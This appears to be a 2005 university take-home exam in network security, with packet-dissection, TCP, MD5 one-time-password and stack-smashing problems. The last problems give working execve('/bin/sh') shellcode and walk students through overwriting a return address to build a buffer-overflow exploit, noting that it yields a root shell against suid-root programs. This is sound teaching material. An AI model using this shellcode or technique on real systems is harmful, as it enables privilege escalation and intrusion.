Final

Takehome

There are seven problems each worth five points for a total of 35 This is a take-home test. You may use any reference. No collaboration.

Name: _____

Problem	Credit
1	
2	
3	
4	
5	
6	
7	
Total	

1. **(Packet Capture)** This is the first packet of a network protocol:

```
0x0000  4500 0037 2963 0000 4011 f921 ac14 0007
0x0010  ac14 0002 063a 0045 0023 6dee 0001 736d
0x0020  616c 6c2d 6861 6e64 732e 7478 7400 6e65
0x0030  7461 7363 6969 00
```

   I want you to dissect it, find the fields, and report on:

   - What is the IP version number?
   - What is the identification number for this packet?
   - Is the packet fragmented? Is the Don't Fragment flag set?
   - What are the to and from IP addresses?
   - What Protocol (UDP, ICMP, TCP) is encapsulated? What are the port numbers?
   - What application protocol does this packet encapsulate? Why do you think this?

2. **(TCP)** Here is a pair of packets, L2 header and all:

```
0000  00 07 e9 17 76 5b 00 30  65 1d e2 32 08 00 45 10
0010  00 3c 62 fe 40 00 40 06  a3 79 0a dd 10 36 c0 1f
0020  59 02 c4 43 00 50 a2 7e  d5 59 00 00 00 00 a0 02
0030  80 00 81 58 00 00 02 04  05 b4 01 03 03 00 01 01
0040  08 0a d8 2c 00 e2 00 00  00 00

0000  00 30 65 1d e2 32 00 07  e9 17 76 5b 08 00 45 10
0010  00 3c 62 fe 40 00 37 06  ac 79 c0 1f 59 02 0a dd
0020  10 36 00 50 c4 43 00 00  00 00 a2 7e d5 5a a0 14
0030  80 00 81 45 00 00 02 04  05 b4 01 03 03 00 01 01
0040  08 0a d8 2c 00 e2 00 00  00 00
```

   (a) What L2 protocol is involved? What are the L2 source and destination addresses?

   (b) What IP addresses, L4 protocol and ports are involved?

   (c) Is this the beginning, middle or end of a connection? What happened? (Look carefully at the flags).

   (d) Why is the ack sequence number as it is? How about the initial sequence number of the server?

   (e) What should be the next packet sent?

3. **(Authentication)** I want you to prove to me your C-number. However, we must keep your C-number secret, so I don't want you to tell me it. Instead we will use a one time password scheme.

   Take your C-number and write it, without spaces or dashes, and a capital C, in a file. Follow it immediately with the data-time string:

   ```
   Wed May  4 00:42:18 EDT 2005
   ```

   (Use this exact date and time string!) Now MD5 has the file using either the md5 program on FreeBSD or the md5sum program on Linux. Send me the *last* four hex digits of the hash.

   For instance, the file:

   ```
   C001234567Wed May  4 00:42:18 EDT 2005
   ```

   has md5sum `5ef91764535acb2271ec75665f64f123`, so I reply `f123`.

   (a) What is the probability that an attacker can generate the correct password without knowing the C-number? Give a mathematical result, for instance, 1 in 2 to the 8-th, with a justification.

   (b) How long would it take an attacker to determine a C-number from the revealed password? Is it even mathematically possible?

4. **(Smashing the Stack)** The most common method of subverting a computer over the network is stack smashing. The next series of exam problems teaches how this is done. See the course home page for additional references.

```
int foo(int i) {
    int j ;
    j = *(&j+2) ;
    return  j ;
}

int main( int argc, char * argv[] ) {
    int i ;
    i = 0xdeadbeef ;
    foo(i) ;
}
```

Compile this program with the -g flag and run gdb on it.

- The argument i must be passed into foo on the stack. What location does it reside?
- The return address for the call should be right below (lower addresses) to the arguments to the call. What is the location in memory of the return address?
- Local variables in foo are pushed onto the stack (the stack frame) below the return address. What is the location of local variable j?
- What is the current value of the stack pointer?
- What value does foo return?

A gdb session appears on the following page.

Warning: Hacking the stack is very platform dependent! The session is on an Intel FreeBSD. Other platforms might require modification.

```
[burt@sherman smash]$ gdb a.out
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.

(gdb) break foo
Breakpoint 1 at 0x8048472: file ss-test1.c, line 6.

(gdb) disassemble main
Dump of assembler code for function main:
0x8048484 <main>:       push   %ebp
0x8048485 <main+1>:     mov    %esp,%ebp
0x8048487 <main+3>:     sub    $0x18,%esp
0x804848a <main+6>:     movl   $0xdeadbeef,0xfffffffc(%ebp)
0x8048491 <main+13>:    add    $0xfffffff4,%esp
0x8048494 <main+16>:    mov    0xfffffffc(%ebp),%eax
0x8048497 <main+19>:    push   %eax
0x8048498 <main+20>:    call   0x804846c <foo>
0x804849d <main+25>:    add    $0x10,%esp
0x80484a0 <main+28>:    leave
0x80484a1 <main+29>:    ret
End of assembler dump.

(gdb) run
Starting program: /.../Csc524.052/src/smash/a.out
6           j = *(&j+2) ;
(gdb) step
7           return  j ; }
(gdb) x/16x $sp
0xbfbffac8:     0x01000000      0x28060200      0xbfbffb10      0x2804ba78
0xbfbffad8:     0x00000009      0x0804849d      0xbfbffb10      0x0804849d
0xbfbffae8:     0xdeadbeef      0x00000000      0xbfbffb10      0x2804ba47
0xbfbffaf8:     0x00000001      0xbfbffb6c      0xbfbffb74      0xbfbffb6c

(gdb) print $fp
$1 = (void *) 0xbfbffae0
(gdb)
```

5. **(Smashing the Stack)** What does the following program do? Use gdb to trace it, so that you thoroughly understand your answer to this question.

   Warning: This only works on Intel Linux or FreeBSD (e.g., lee.cs.miami.edu)

```
int foo(void (*g)(int)) {
    int j ;
    *(&j+2) = (int) g ;
    return  j ;
}

void bar(int j) {
    printf("hi\n") ;
    exit(0) ;
}

int main( int argc, char * argv[] ) {
    int i ;
    i = 0xdeadbeef ;
    foo(bar) ;
}
```

6. **(Smashing the Stack)** There are several more tricks to smashing a stack. The basic idea is to create a string of text which is the binary of the program:

```
execve("/bin/sh",0L,0L)
```

and copy this into a buffer, overwriting the return address as you do the copy so that the overwritten address is the starting address of this string. This is not entirely easy, but once done these strings, called shellcodes, get circulated on the hacker underground. An example is given on the next page.

- Read the shell code. Hint, use cc -g and gdb. Now dissemble the code with the gdb command `diassemble code`.
- How does this shell code get the text /bin/sḧinto memory, and a pointer to it into register BX?
- Because shellcode must be one string, it can contain no zeros, since these terminate a string. How does this shell code get the zero it needs for the arguments to execve?
- What mechanism seems to be invoked so that we don't need to know the address of execve, which might be different on different machines.

```
/* burton rosenberg, may 2005 */

char code[] = "\x31\xc0"
        "\x50"
        "\x68\x2f\x2f\x73\x68"
        "\x68\x2f\x62\x69\x6e"
        "\x89\xe3"
        "\x50"
        "\x54"
        "\x53"
        "\x50"
        "\x8c\xe0"
        "\x21\xc0"
        "\x74\x04"
        "\xb0\x3b"
        "\xeb\x07"
        "\xb0\x0b"
        "\x99"
        "\x52"
        "\x53"
        "\x89\xe1"
        "\xcd\x80"
        "\x00" ;
        /* http://www.shellcode.com.ar/bsd/lnx-bsd-short.c */

int foo(char * s) {
    int j ;
    char t[60] ;
    strcpy(t,s) ;
    *(&j+2) = (int) t ;
    return (int) t ;
}

int main( int argc, char * argv[] ) {
    printf("%x\n", foo(code) ) ;
}
```

7. **(Smashing the Stack, conclusion)**

   Modify the program of the previous question so that the shellcode string contains its own starting address within it, and in the proper place so that the strcpy places the address in the correct place in the stack.

   If you can do this, you have smashed the stack. The only part of the foo subroutine you depend on is that it strcpy's a string of your choice into a locally allocated character buffer. Many programs do this with the command line arguments.

   The classic case is to find such an unchecked strcpy of an argument string in a program running suid to root (e.g. xterm). A successful buffer overflow such as demonstrated in this exercise, when practiced upon a suid to root program, yields a shell running as root for your use.

   Hint: The value returned by foo is the integer to write on the stack. Add it to the end of the shellcode, before the null terminator. Now add byte by byte padding between the end of the shellcode and this address, trying the result with each byte. When the number of bytes added is correct, the program will not printf, will not core dump — it will give a shell (but not a root shell ... too bad!)